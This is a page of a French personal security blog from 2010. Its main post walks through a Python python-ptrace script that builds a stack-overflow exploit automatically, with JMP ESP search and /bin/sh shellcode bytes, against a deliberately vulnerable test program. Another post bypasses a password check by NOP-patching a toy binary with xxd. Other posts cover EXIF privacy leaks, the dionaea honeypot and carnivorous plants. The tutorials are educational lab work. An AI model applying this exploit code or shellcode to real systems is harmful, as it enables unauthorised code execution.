jeudi, juillet 22 2010

Brèves estivales

Encore un mini-billet un peu fourre-tout, avec même quelques lignes qui ne parlent pas d'informatique ;) !

Souk - Creative Common by "lapin.lapin" on Flickr

Attaque informatique

Après l'exploitation automatique des stack overflow les gars de l'esec ont enchainés avec l'automatisation d'exploitation de format string. Python-ptrace ne gérant pas (encore ?) les symboles je ne peux pas copier leur démarche directement cette fois :( Si jamais je trouve du temps pour réfléchir à tout ça peut être que je trouverai une autre méthode élégante d'exploiter des format string automatiquement, mais ça n'est pas gagné. En tout cas l'excellent papier qu'ils citent dans leur article m'aura permis de clarifier ma compréhension de ce type d'attaque, et je vous en conseille vivement la lecture si, comme moi il y a deux semaines, vous pensez qu'un format string ne peut pas mener directement à de l'exécution de code.


Oracle[1]

J'en parlais il y a quelques mois, aujourd'hui les tag EXIF sont vraiment à la mode. Certains réussissent même à en faire des conférences[2]...


L'extension python du moment

Je joue pas mal avec pefile ces temps-ci. Il y a pleins de choses à faire avec ce petit module python qui permet de jouer avec les fichiers exécutables windows (format PE en fait). Surtout quand on a la sécurité informatique en tête (pensez analyse de virus infectant des PE, pensez unpacker, etc.).


Divers

Découverte intéressante sur le blog de Sid aujourd'hui, et pour une fois ça n'est pas de la sécurité informatique : l'existence des bonnettes. Je connaissais déjà des filtres divers et variés (UV, polarisant, de couleur, etc.) que l'on pouvait visser au bout de son objectif, mais je ne connaissais pas les lentilles macro sous ce format là ! Étant donné que j'ai un bridge et que j'aimerai bien faire des macros de mes plantes carnivores je pense que je vais sérieusement me pencher sur la question...merci Sid !

Notes

[1] Non je ne parle pas de l'entreprise, et oui c'est une boutade ;-)

[2] Oui, je suis jaloux :p

lundi, juin 21 2010

Saine émulation

J'ai récemment assisté à mon premier SSTIC[1] et lors de l'une ou de l'autre des conférences l'outil Metasm a attiré mon attention. Deux jours après être rentré du SSTIC je tombe sur un alléchant article d'un gars de SOGETI qui parle justement de Metasm. Je dévore l'article en question[2] (qui consiste, en gros, à écrire un script de génération automatique d'exploit pour stack overflow en partant d'une appli vulnérable...miam) et une fois l'article fini une question s'impose à moi : Tout leur (joli) travail est en ruby[3] ...saurais-je les copier en python ?!

Truck race - Creative Common by tonylanciabeta on Flickr
Tout d'abord résumons le principe du script que l'on souhaite réaliser. En une phrase ce script doit prendre en argument un programme vulnérable à un stack overflow, forger tout seul un payload capable d'exploiter cette vulnérabilité (pour spawner un shell par exemple), puis tenter l'exploitation en boucle jusqu'à ce qu'elle réussisse. Ca c'est la version simple, dans les détails c'est infiniment plus riche et passionant. Mais avant de passer aux détails, voici le programme test pour lequel nous allons tenter de forger automatiquement un exploit[4] :

#include <stdio.h>
#include <string.h>

// gcc main.c -mpreferred-stack-boundary=2 -o main

int main(int argc, char * argv[])
{
        char buff[128];

        if(argc<2)
                return 0xffe4;

        strcpy(buff, argv[1]);

        return 0;
}

Bien, on voit rapidement où se situe le stack overflow que l'on souhaite exploiter et comment l'exploiter (pour les plus mauvais en C d'entre vous : il suffit d'envoyer un gros argument en ligne de commande et, s'il est trop gros, il dépassera de la pile lorsqu'il sera copié dans "buff" par "strcpy" :) ). Il est maintenant temps de songer sérieusement à la façon dont on va forger l'exploit à passer à ce petit programme !

Premier problème qui se pose à nous : quelle taille est disponible sur la pile avant d'écraser la valeur sauvegardée d'EIP ? En regardant le code source rapidement on se doute que ça ne doit pas être bien loin de 128 octets, mais on va faire semblant de ne pas savoir et on va coder notre script pour qu'il trouve tout seul la taille disponible (après tout le but du jeu c'est aussi de faire un script qui pourrait aider à générer des exploit pour de vrais programme vulnérables à ce type d'attaques). Pour comprendre la méthode proposée dans l'article d'Ivan je vais faire un petit rappel technique[5] :

<rappel> Les appels de fonctions se terminent toujours par l'enchainement d'instructions assembleurs "LEAVE" puis "RET". Dans notre cas on obtient d'ailleurs ça dans gdb :

$gdb main
(gdb)disass main
[...]
0x08048426 <main+66>:   leave  
0x08048427 <main+67>:   ret
End of assembler dump.

L'instruction LEAVE fait deux choses : elle écrase ESP avec la valeur actuelle d'EBP, puis elle POP la pile et écrase la valeur d'EBP avec l'adresse qu'elle vient de poper (la valeur d'EBP qui avait été sauvegardée avant de rentrer dans la fonction donc). L'instruction RET, quand à elle, POP la pile et écrase la valeur d'EIP avec l'adresse qu'elle vient de poper (la valeur d'EIP qui avait été sauvegardée avant de rentrer dans la fonction donc). En résumé : LEAVE recadre la pile comme elle était dans la fonction appelante, et RET restaure le pointeur d'EIP pour la fonction appelante. Si vous avez suivi vous avez noté que, sur la pile, la sauvegarde d'EBP est juste avant la sauvegarde d'EIP, et c'est ça qui est important. Déterminer quand on va écraser la sauvegarde d'EIP est donc équivalent à déterminer quand on va écraser la sauvegarde d'EBP, à un POP près :) </rappel>

Revenons donc à notre script et à sa première tache qui consiste à déterminer quelle taille précise nous avons sur la pile avant d'écraser la valeur sauvegardée d'EIP. Si j'ai tout suivi à l'article que je vous ai cité [6] le script va en fait repérer quand on écrase la valeur sauvegardée d'EBP, puis en déduire qu'un POP au delà on écraserait la valeur sauvegardée d'EIP. Si c'est ce fonctionnement là qui est choisi c'est pour une excellente raison : c'est une méthode simple ! En effet la façon la plus simple d'observer la valeur des registres c'est d'utiliser un breakpoint sur une instruction, or la dernière instruction dont nous disposons aisément c'est le RET du main mais si on break sur cette instruction (juste avant qu'elle ne s'exécute donc) le pointeur d'instruction (EIP) n'est pas encore restauré à sa valeur sauvegardée (puisque c'est justement la tâche de ce RET) alors que le pointeur de base de la pile (EBP), lui, a déjà été restauré (puisque c'était la tâche du LEAVE qui était juste avant) ! Donc il suffit de faire un break sur le RET puis d'observer directement la valeur d'EBP pour savoir que, 4 octets plus loin (à un POP près), on écrasait la valeur sauvegardée d'EIP. C'est la seule méthode envisageable de toute façon puisque si on souhaitait breaker après le RET pour observer directement la valeur d'EIP on devrait breaker sur l'instruction à exécuter juste après le RET, donc sur l'instruction présente à l'adresse que nous avons restaurée sur l'EIP or cette adresse va être écrasée par notre argument et donc il nous faudrai breaker n'importe où dans la mémoire ce qui est impossible sous peine de segfault...

En terme de script celà revient donc à ouvrir l'exécutable en mode debug, trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution en fournisant à chaque fois un argument plus grand tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument. Une fois qu'on a trouvé un argument assez grand pour aller écraser la valeur d'EBP sauvegardée on a résolu notre premier problème qui consistait à savoir précisément combien de place était disponible sur la pile :) !

Allons-y par petites étapes : D'abord on doit "ouvrir l'exécutable en mode debug"...sauf qu'en python on n'a pas accès à Metasm. Diantre nous voilà bien ennuyé ! Pas grave, on n'a peut-être pas Metasm, mais on a des idées (et surtout on a python-ptrace[7], dont vous allez avoir besoin et que vous pouvez obtenir via un simple emerge python-ptrace si vous avez le bon gout d'être sous gentoo). Grace à "python-ptrace" nous allons avoir accès à toutes les fonctions de debug dont nous avons besoin pour jouer sous linux ! Utilisons donc python-ptrace pour "ouvrir l'exécutable en mode debug" :

#!/usr/bin/env python
from ptrace.debugger.debugger import PtraceDebugger
from ptrace.debugger.child import createChild

def load_dbg(prog,arg):
	# ----------------------------------
	#	Getting things ready
	# ----------------------------------
	
	#Create the process we want to debug
	pid = createChild([prog,arg],False,None)
	
	print '[*] Loading process "'+str(prog)+'" in memory with an arg of size',len(arg)
	
	# Create the debugger and attach the process
	dbg = PtraceDebugger()
	process = dbg.addProcess(pid, True)
	
	return (dbg,process)

Il n'y a rien de particulier à comprendre ici, si le sens précis de ces ligne vous intéresse je vous conseille de lire la doc de python-ptrace et les exemples fournis avec qui sont très bien foutus (et dont ces quelques lignes sont très grandement inspirées :) ).

Nous devons ensuite "trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution [tant que] la valeur d'EBP observée au moment du break ne provient pas de notre argument". Encore une fois nous sommes ennuyés parce que nous n'avons pas Metasm, et cette fois je dois avouer que je n'ai pas trouvé de méthode propre pour trouver directement le RET de la fonction main. Ma première idée a été d'obtenir le mapping des plages mémoires allouées à notre processus, puis de désassembler entièrement les plages exécutables et de mettre des breakpoint sur tous les RET que j'y trouverai. Malheureusement cette méthode faisait segfaulter systématiquement...je suppose que les désassemblages barbares de toute une plage de mémoire n'était pas très corrects et qu'en plaçant mes breakpoint il m'arrivait en fait de tomber au milieu d'instruction n'étant pas des RET, ce qui amenait aux segfaults... Bref cette solution n'était pas viable et j'ai donc opté pour une méthode "Quick & Dirty" : j'exécute l'intégralité du programme en pas à pas, et j'analyse l'EBP à chaque étape :) Alors oui, c'est extrèmement lent et absolument sans aucune subtilité, mais au moins ça marche (et en plus ça permet de traiter indifféremment des buffer overflow se produisant n'importe où dans le code, et plus seulement dans la fonction main :) ). Donc, voyons ce que ça donne en script python+python-ptrace (là vous pouvez lire plus attentivement le code, ça devient intéressant de voir à quel point python-ptrace se manie bien :) ) :

def get_stacksize(prog, arg):
	# ----------------------------------
	#	Figuring out what stack size we have
	# ----------------------------------
	
	stack_crashed=False
	while not stack_crashed:
		# Enlarge our argument ;-)
		arg=arg+arg[-1:]

		# Getting things ready for debugging
		dbg,process = load_dbg(prog,arg)

		# Start the process, step by step (this is VERY slow)
		while process.running and not stack_crashed:	
			# We check (the dirty way) the EBP value in order to detect the overflow
			if long('0x'+4*(hex(ord(arg[-1:]))[-2:]),16) == process.getreg('ebp'):
				stack_crashed=True
				print '[*] Overflow probably detected for an arg of size',len(arg),'\t EBP value : ',hex(process.getreg('ebp'))
			# Make one step
			process.singleStep()
			s=process.waitEvent()
		#now we leave properly
		dbg.quit()
	return len(arg)

A part l'ignoble ligne où je compare la valeur d'EBP avec les 4 derniers charactères de notre argument convertis en hexa puis en entier, le code est quand même relativement simple non ? On n'a donc pas Metasm, mais on s'en sort à peu près !

A ce point nous savons donc ouvrir notre programme en mode debug et nous savons également obtenir la taille d'argument qui va aller écraser l'EIP sauvegardée sur la pile. Il va falloir nous pencher sur la structure de notre exploit à présent. Dans un monde merveilleux notre exploit n'aurait qu'à écrire n'importequoi sur la pile jusqu'à la valeur sauvegardée d'EIP, écrire à cet endroit l'adresse correspondant à "juste après cet endroit même", puis enchainer directement avec notre shellcode :

garbage | Adresse où va se retrouver en mémoire l'octet qui arrive juste après => | shellcode

De cette façon l'exécution sauterait bien dans notre shellcode après l'éxécution du RET. Malheureusement pour nous les noyaux linux intègrent, depuis la version 2.6.17 et jusqu'à la 2.6.30, un placement aléatoire de la stack dans la mémoire[8]. A cause de ce placement aléatoire de la stack il nous est impossible de déterminer à l'avance à quelle adresse se situera notre shellcode en mémoire lorsque nous le pousserons sur la pile et nous ne pouvons donc pas créer notre exploit comme nous le voulions puisque nous ne savons tout simplement pas quoi mettre pour écraser la valeur sauvegardée d'EIP :( Pas grave, une astuce ultra connue existe et tire parti du fait que la pile est placée aléatoirement en mémoire mais pas le code du programme qui, lui, est toujours à la même place. Le but du jeu est donc de trouver, dans le code du programme, une instruction qui nous arrange puisque, elle, sera toujours au même endroit. L'instruction que nous allons chercher c'est tout simplement un "JMP ESP". En effet si nous parvenons à trouver un "JMP ESP" dans le code du programme et à écrire son adresse dans l'EIP sauvegardée, le flux d'exécution va bien se retrouver détourné vers lui à l'exécution du RET, puis immédiatement après vers notre shellcode qui se trouve justement sur la pile (i.e. : à l'adresse contenue dans ESP). Simple, ultra connu, mais terriblement efficace[9] :) Cette méthode nous permet même de conserver la structure d'exploit que nous voulions à un mini détail prêt :

garbage | Adresse d'une instruction JMP ESP quelque part dans les parties fixes de la mémoire du programme | shellcode

Par contre tout ça c'est bien joli, mais maintenant il faut trouver un "JMP ESP" dans les parties de la mémoire qui seront toujours au même endroit et qui sont exécutables (donc typiquement dans le corps du programme). Cette partie là est enfantine avec python-ptrace, et très instinctive : on obtient les plages de mémoires appartenant au programme, pour chacune d'elle on vérifie si elle est exécutable et si tel est le cas on la parcours octet par octet à la recherche de quelque chose qui pourrait être interpretté comme un JMP ESP. Vous pouvez lire le code attentivement,vous verrez que les appels à python-ptrace sont limpides[10] :

import re
from sys import exit

def get_jmpesp(prog,arg):	
	# ----------------------------------
	#	Finding a JMP ESP
	# ----------------------------------	
	dbg,process = load_dbg(prog,arg)
	jmpespaddr=None
	
	# We get the memory mapping
	maps = process.readMappings()
	for m in maps:
		if re.match('..x.',m.permissions) and jmpespaddr==None:
			print'[*] Searching for a JMP ESP in',hex(m.start),'=>',hex(m.end)
			for cur in range(m.start,m.end):
				code=process.disassembleOne(cur)
				if code.mnemonic=='JMP' and code.operands=='ESP':
					jmpespaddr=code.address
					print '[*] JMP ESP found at address',hex(code.address)
	if jmpespaddr==None:
		print '[*] No JMP ESP was found...damned we are doomed !'
		exit(-1)
	dbg.quit()
	return jmpespaddr

Comme vous l'avez constaté je n'utilise pas "disassemble" pour tout désassembler d'un coup, mais "disassembleOne" avec un décalage d'un octet à chaque fois. De cette façon je n'ai pas besoin qu'un JMP ESP existe vraiment dans le code, il me suffit que quelquechose puisse être interpretté comme tel. Typiquement si une constante dans le code avait, par le plus grand des hasard, la même représentation binaire que le code machine JMP ESP, je la trouverai avec disassembleOne et je pourrai l'utiliser en tant que JMP ESP. Ca tombe bien, souvenez vous des sources de notre programme cible : dans le cas où on invoque notre programme de test sans argument il retourne le code d'erreur 0xffe4...devinez à quel code machine ça correspond ;) ? C'est un JMP ESP ! Alors oui c'est une petite bidouille, mais c'est pour le bien de la démonstration et il est à parier que dans des programmes de plus de 10 lignes nous n'aurions pas à insérer artificiellement ce JMP ESP. De toute ce sont les gars de SOGETI eux même qui sont à l'origine de cette bidouille, donc ça colle dans mon envie de copier au plus près leur joli travail :-p

Alors, où en sommes nous ? Nous savons ouvrir le programme en mode débug, nous savons déterminer la taille disponible sur la stack avant d'écraser l'EIP, et nous savons trouver l'adresse d'un JMP ESP pour écraser l'EIP avec. Nous touchons au but :) ! Il ne nous reste plus qu'à trouver un shellcode à proprement parler, à assembler tout ça, et à tester :)

Pour le shellcode je vais grandement m'éloigner de mes inspirateurs puisqu'eux utilisent Metasm pour le compiler à la volée à partir d'assembleur mais moi, puisque je n'ai "que" python-ptrace et pas Metasm, je vais aller au plus court et réutiliser un shellcode public qui spawn /bin/sh. Pour l'assemblage c'est de la concaténation de chaine...rien de bien sorcier :

def create_shellcode(stack_size, jmpespaddr):
	print '[*] Generating exploit for a stack size of',stack_size, 'and a JMP ESP address of', hex(jmpespaddr)
	# Initial garbage
	exploit='a'*stack_size
	
	# JMP ESP address to overwrite the saved EIP value on the stack
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	
	# Shellcode spawning /bin/sh
	raw_sh=("0x6a","0x0b","0x58","0x99","0x52","0x66","0x68","0x2d","0x70","0x89","0xe1","0x52","0x6a","0x68","0x68","0x2f","0x62","0x61","0x73","0x68","0x2f","0x62","0x69","0x6e","0x89","0xe3","0x52","0x51","0x53","0x31","0xc9","0xcd","0x80")
	for op in raw_sh:
		exploit+=chr(int(op,16))
		
	return exploit

Oui, c'est super moche comme code python, mais il commence à se faire tard et j'ai envie de voir si ma copie de script fonctionne :) ! Plus qu'à lancer notre programme victime et voir si on obtient bien un shell, ça va se faire en rajoutant ces ultimes lignes à mon script python contenant toutes les fonctions que nous avons définies jusqu'à présent :

from os import system

JMP = get_jmpesp('./main','a')
STACK_SIZE = get_stacksize('./main','a')
SH = create_shellcode(STACK_SIZE, JMP)

print '[*] Exploiting...'
while 0!=system("./main "+SH):
	pass

Et on lance enfin le script-copie en python...suspens :

$./pyautopwn.py
[*] Loading process "./main" in memory with an arg of size 1
[*] Searching for a JMP ESP in 0x8048000 => 0x8049000
[*] JMP ESP found at address 0x80483f8L
[*] Loading process "./main" in memory with an arg of size 2
[*] Loading process "./main" in memory with an arg of size 3
(...)
[*] Loading process "./main" in memory with an arg of size 131
[*] Loading process "./main" in memory with an arg of size 132
[*] Overflow probably detected for an arg of size 132 	 EBP value :  0x61616161L
[*] Generating exploit for a stack size of 132 and a JMP ESP address of 0x80483f8L
[*] Exploiting...
oz@osiris /home/oz/autopwn $ whoami
oz
oz@osiris /home/oz/autopwn $

Victoire de canard ! Comme quoi il était possible de copier ce script en pure python, même s'il est bien moins beau et bien moins puissant. C'est encore une petite satisfaction personnelle de voir que j'ai pas mal progressé en technique depuis ces dernières années. Les améliorations possible pour ce script sont d'ailleurs nombreuses :

  • Passer le nom du programme et ses arguments initiaux en ligne de commande. Tout est déjà dans le code pour ça et pour supporter l'envoi d'arguments réels avant l'argument à faire grossir, il n'y a qu'une poignée de modification mineures à apporter.
  • N'exécuter qu'une fois le programme en pas à pas et noter à cette occasion où se situent les vrais RET. Pour les exécutions suivantes on ne breakerait qu'aux adresses de ces RET et non plus à chaque pas. Ca pourrait drastiquement accélérer le processus !
  • Nettoyer un peu (je pense en particulier à la comparaison d'EBP avec la valeur hexa de mon argument ainsi qu'à la création de l'exploit par concaténation...)
  • Je laisse votre imagination travailler !!!

Notes

[1] et il est clair que je reviendrai au SSTIC l'an prochain si j'ai le temps, l'argent, et assez de reflexes pour attraper une place avant la rupture de stock.

[2] Il a d'ailleurs été suivi d'un autre sur le même thème. Comme quoi je ne suis pas le seul à avoir été inspiré :)

[3] Metasm aussi est en ruby d'ailleurs

[4] Dans le souci de coller au plus près au travail de Ivan j'ai utilisé très exactement le même programme...à la différence près que moi j'ai bien des '#' devant mes include, et pas des '$', et que je retourne 0xffe4 à la place de 0 en cas d'absence d'argument...on verra pourquoi plus tard ;)

[5] Sans ce rappel moi je n'avais pas compris, je vous épargne donc juste le googlage.

[6] ce qui n'est pas certain :D

[7] D'ailleurs je vous recommande le blog de son auteur principal, même s'il n'est mis à jour que très rarement

[8] Après la 2.6.30 c'est un placement aléatoire complet de la mémoire, plus uniquement de la stack.

[9] Tout du moins jusqu'aux noyaux 2.6.30 exclus. Après ça ne marche plus puisque toutes les zones mémoire sont placées aléatoirement et non plus juste la pile. Il est alors impossible de deviner à l'avance l'adresse d'un JMP ESP, même contenu dans le code du programme..

[10] Si ça ça ne vous donne pas envie de jouer avec python-ptrace, voire d'y contribuer, je ne sais pas ce qu'il vous faut :-p !

mardi, avril 27 2010

Plantes carnivores

Figurez vous que je me suis récemment découvert un intérêt pour les plantes carnivores et que j'ai acheté un livre explicatif sur le sujet (environnement naturel, divers genres, méthodes de culture, etc.). Après avoir relu le bouquin trois fois j'ai finalement craqué et j'ai acheté quatre petits plants ainsi que quelques graines (pour une représentativité totale de trois genres différents de plantes carnivores usuelles[1]). Et c'est en me renseignant sur ce nouvel univers que je me suis remémoré le premier billet de ce blog, qui parlait du honeypot à faible intéraction Nepenthes et je me suis dit qu'il était temps que je me repenche sur ce logiciel qui m'avait bien amusé à l'époque...

Mes dionaea - Creative common by Ozwald from ozwald.fr

Premier choc : Nepenthes n'est plus. Aux alentours de l'été 2009 ses concepteurs commençait à apercevoir des limites à leur architecture, ils ont alors freezé Nepenthes et se sont lancés dans un nouveau projet de honeypot à faible interaction, en repartant from scratch : dionaea[2]. Le développement initial de dionaea a donc eu lieu pendant l'été 2009, et actuellement c'est une solution qui semble bien plus aboutie que ne l'était Nepenthes (gestion du multithread, émulation avancée des shellcode à la place de simple pattern matching, etc.). Par contre, même si le logiciel en lui-même est bien plus avancé, son packaging général ne tient pas (encore ?) la comparaison avec ce qu'était celui de Nepenthes à la fin de sa vie. En effet dionaea n'est, à ma connaissance, actuellement packagé pour aucune distro[3] et pour tester dionaea vous devrez donc compiler vous-même une demi-douzaine de softs (sans vous planter au moment de les linker à dionaea bien sur). Ca n'a rien de titanesque ou même de compliqué, mais ça prend un peu de temps mine de rien.

En plus du coté technique c'est un projet qui a l'air vraiment sympa et vivant. Par exemple un petit billet d'un utilisateur sur les performances d'un script d'analyse des logs de dionaea a mené à une réflexion assez poussée sur la performance des accès aux logs directement sur le blog officiel du projet. Autre exemple : les auteurs de dionaea ont publié de grosses quantités de logs (anonymisés) issus de leurs propres sondes dionaea afin que chacun puisse mener les recherches qu'il souhaite dessus. Bref c'est un projet qui sent la bonne ambiance et j'espère bien en entendre un peu parler au SSTIC 2010[4]. D'ailleurs tant qu'on parle de SSTIC je me dis que le vieux pense-bête que j'avais rédigé il y a quelques mois pourrait être utile ;) ...

Notes

[1] Pour les curieux : sarracenia, dionaea, et drosera.

[2] Le genre "dionaea" correspondant aussi à des plantes carnivores. Ce sont celles qu'on connait sous le nom familier "attrape-mouche", et pour les curieux elles sont beaucoup plus facile à cultiver que les Nepenthes ^_^

[3] Oubliez donc tout de suite les "aptitude install dionaea", "emerge dionaea", et autres "pacman -S dionaea" qui pourraient vous passer par la tête. ERRATA : Pour Arch la procédure est simplifiée ;)

[4] Oui, oui, j'ai été assez rapide pour avoir une place :-D

jeudi, février 25 2010

Déplombage à l'ancienne

Tout ceux qui ont connu la grande époque des sharewares se souviennent, peut-être avec nostalgie, des bidouilles à faire dans un éditeur héxadécimal pour déverrouiller (illégalement, c'était mal !) telle ou telle fonction. C'est en repensant à cette époque lointaine que je me suis dit qu'à présent j'était très certainement capable de comprendre ce qu'il y avait derrière le fait de changer quelques valeurs dans un éditeur hexa...voire même que je serai capable de reproduire le phénomène. Aussitôt pensé, aussitôt fait (ça m'a pris moins de 10mn, donc n'ayez pas peur : tout le monde arrivera à suivre ^^ !)

Slalom - Creative Common by "Mikael Miettinen" on Flickr
Première chose à faire pour reproduire les conditions de l'époque : trouver un programme cible à "déplomber". Pour le bien de la démonstration j'en réalise un moi-même qui se comportera donc de la façon que je souhaite et dont je connaitrai les rouages internes. Hop je dégaine vim :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    if (0==strcmp("secretpassword",argv[1])){
        printf("HACK SUCCESSFUL\r\n");
    }
    printf("Au revoir\r\n");
    return EXIT_SUCCESS;
}

Le concept de ce micro bout de code est simple : on invoque le programme avec un argument, si jamais cet argument est bien "secretpassword" le programme nous affiche "HACK SUCCESSFUL" (c'est la fonction que nous cherchons à "déplomber"), si l'argument fourni n'est pas le bon le programme passe directement à "Au revoir" (et si on ne fourni pas d'argument il segfault...c'est juste un programme d'exemple !). Bref, on compile ($gcc hackme.c) puis on lance gdb ($gdb a.out). Une fois le soft chargé dans gdb, on désassemble le bloc d'instruction principal ((gdb)disass /r main) :

0x08048461 <main+13>:    53     push   %ebx
0x08048462 <main+14>:    51     push   %ecx
0x08048463 <main+15>:    83 ec 10       sub    $0x10,%esp
0x08048466 <main+18>:    89 cb  mov    %ecx,%ebx
0x08048468 <main+20>:    8b 43 04       mov    0x4(%ebx),%eax
0x0804846b <main+23>:    83 c0 04       add    $0x4,%eax
0x0804846e <main+26>:    8b 00  mov    (%eax),%eax
0x08048470 <main+28>:    89 44 24 04    mov    %eax,0x4(%esp)
0x08048474 <main+32>:    c7 04 24 90 85 04 08   movl   $0x8048590,(%esp)
0x0804847b <main+39>:    e8 c8 fe ff ff call   0x8048348 <printf@plt>
0x08048480 <main+44>:    8b 43 04       mov    0x4(%ebx),%eax
0x08048483 <main+47>:    83 c0 04       add    $0x4,%eax
0x08048486 <main+50>:    8b 00  mov    (%eax),%eax
0x08048488 <main+52>:    89 44 24 04    mov    %eax,0x4(%esp)
0x0804848c <main+56>:    c7 04 24 95 85 04 08   movl   $0x8048595,(%esp)
0x08048493 <main+63>:    e8 d0 fe ff ff call   0x8048368 <strcmp@plt>
0x08048498 <main+68>:    85 c0  test   %eax,%eax
0x0804849a <main+70>:    75 0c  jne    0x80484a8 <main+84>
0x0804849c <main+72>:    c7 04 24 a4 85 04 08   movl   $0x80485a4,(%esp)
0x080484a3 <main+79>:    e8 b0 fe ff ff call   0x8048358 <puts@plt>
0x080484a8 <main+84>:    c7 04 24 b6 85 04 08   movl   $0x80485b6,(%esp)
0x080484af <main+91>:    e8 a4 fe ff ff call   0x8048358 <puts@plt>
0x080484b4 <main+96>:    b8 00 00 00 00 mov    $0x0,%eax
0x080484b9 <main+101>:   83 c4 10       add    $0x10,%esp
0x080484bc <main+104>:   59     pop    %ecx
0x080484bd <main+105>:   5b     pop    %ebx
0x080484be <main+106>:   5d     pop    %ebp
0x080484bf <main+107>:   8d 61 fc       lea    -0x4(%ecx),%esp
0x080484c2 <main+110>:   c3     ret

Bon...ça en raconte des choses tout ça...Heureusement que je connais le programme de base, et que je l'ai conçu exprès pour que la tache soit aisée, sinon je pense qu'avec mes compétences en assembleurs "un peu" rouillées je me serait amusé 5mn à trouver ce que je cherche. Ici aucun problème cependant : il n'y a qu'un seul embranchement conditionnel qu'on repère facilement :

0x0804849a <main+70>:    75 0c  jne    0x80484a8 <main+84>

Ce que l'on veut faire c'est donc supprimer cet embranchement conditionnel afin que le flux d'instruction poursuive son cours direct. Pour ce faire je vais utiliser une méthode à moi et honnêtement j'ignore complètement si c'est la méthode canonique ou pas, mais moi je l'aime bien.

D'abord j'utilise xxd[1] pour récupérer un dump héxa de mon binaire (xxd a.out > dump.txt), ensuite je cherche dans ce dump l'enchainement 750c qui correspond à mon saut conditionnel (antépénultième bloc dans la ligne suivante) :

0000490: 8504 08e8 d0fe ffff 85c0 750c c704 24a4  ..........u...$.

Je remplace maintenant mon saut conditionnel par l'instruction préférée des pionniers des shellcodes, à savoir le bien aimé 0x90 qui correspond à NOP[2]. La ligne dans mon fichier dump devient donc :

0000490: 8504 08e8 d0fe ffff 85c0 9090 c704 24a4  ..........u...$.

On récupère un binaire à partir du dump héxa modifié (xxd -r dump.txt b.out). Et ensuite il suffit de lancer b.out avec n'importe quel argument pour bien passer par la fonction que l'on voulait déplomber et qui était auparavent "protégée" par mot de passe :

$ ./b.out HackYou
HACK SUCCESSFUL
Au revoir

Et voilà, le tour est joué. Il me reste encore quelques années/décénnies/vies de pratique avant d'espérer atteindre le niveau de compétence de certains gourous du désassembleur, mais en tout cas ça m'a bien amusé de constater le chemin parcouru depuis mes années collèges avec ce mini déplombage des familles... et ça m'a aussi donné envie de jouer plus souvent avec le couple gdb/xxd.

Notes

[1] Inclu dans le package de "vim", c'est donc forcément un programme génial ;) !

[2] NOP signifiant : No OPeration. Cette instruction ne fait rien du tout comme son nom l'indique :)

mercredi, février 17 2010

Epic Fail

L'autre jour je lurkais sur 4chan lorsque j'ai pu assister, en l'espace de 5mn, à deux Epic Fail ayant la même cause : la méconnaissance complète de l'existence des métadonnées EXIF. Comme je ne suis plus tout à fait certain d'avoir déjà abordé ce sujet ici, je le fais maintenant :)

Anonymous - Creative Common by "CradleApex" on Flickr

Qu'est ce que les données EXIF ?
Expliqué très brièvement les données EXIF sont des métadonnées ajoutées à des fichiers images afin de stocker tout un tas de trucs intéressant (date de la prise de la photo, modèle de l'appareil utilisé, taux de compression, résolution, etc.). De nos jours 99% des appareils photos rajoutent des données EXIF quand ils prennent une photo (la pseudo-norme EXIF reprenant intégralement la norme JPEG il y a une totale compatibilité et l'utilisateur lambda ne voit qu'une image JPEG alors qu'il s'agit d'une image JPEG agrémentée de méta-données EXIF). Bien que cette pseudo-norme soit donc très répandue de nos jours et que certains savent clairement en faire bon usage, on trouve encore des gens qui ne sont pas conscients de l'existence de ces méta-données, comme vont vous le prouver les deux petites histoires qui suivent.

Se cacher derrière son petit doigt
Premier Epic Fail : quelqu'un publie une photo de sa future femme, dans une tenue que nous qualifierons de "Olé Olé", en prenant bien soin de masquer son visage au préalable pour qu'on ne la reconnaisse pas. Afin de protéger l'anonymat de sa promise notre amusant Anon[1] avait en effet pris soin de lancer son logiciel de retouche photo préféré et de rajouter un gros carré noir au dessus du visage de sa chère et tendre avant de publier la photo. Pourtant, moins d'une minute après avoir publié la photo ainsi censurée, une version dé-censurée a ressurgie sur 4chan...Comment cela est-il possible ? Va-t-on nous ressortir le coup des carrés noirs pdf mais sur le format JPEG qui n'a pourtant rien d'un format objet ?

Non c'est bien plus simple : l'appareil photo utilisé devait être de bonne facture puisque la miniature embarquée en donnée EXIF dans l'image censurée était, de mémoire, d'une résolution proche de 640x480 et elle n'a pas été mise à jour lors de la censure grossière appliquée avec un logiciel de retouche un peu cheap...L'image censurée embarquait donc une version 640x480 non-censurée, et c'est largement assez pour reconnaitre un visage : FAIL.

Jouer à cache-cache avec une balise A.R.V.A. dans la poche
Deuxième Epic Fail : Un autre Anon a utilisé son super smartphone pour prendre une photo de lui dans un miroir en pleine activité que nous qualifieront de "compromettante". Bien entendu il avait pris soin de porter un masque sur la photo afin de protéger son anonymat (pas folle la guêpe). Encore une fois la sanction est pourtant tombée en moins d'une minute : son smartphone ayant enregistré sa position GPS dans les données EXIF, un plan google map et une photo google streetview correspondant à son domicile ont fait écho à la publication de sa première photo...FAIL.

Conclusion
Pour jouer avec les tags EXIF je vous conseille ce super outil online, ou ce super outil offline. En tout cas maintenant vous ne pourrez pas dire que vous n'êtes pas prévenus ;) !

Notes

[1] http://encyclopediadramatica.com/Anonymous

- page 4 de 8 -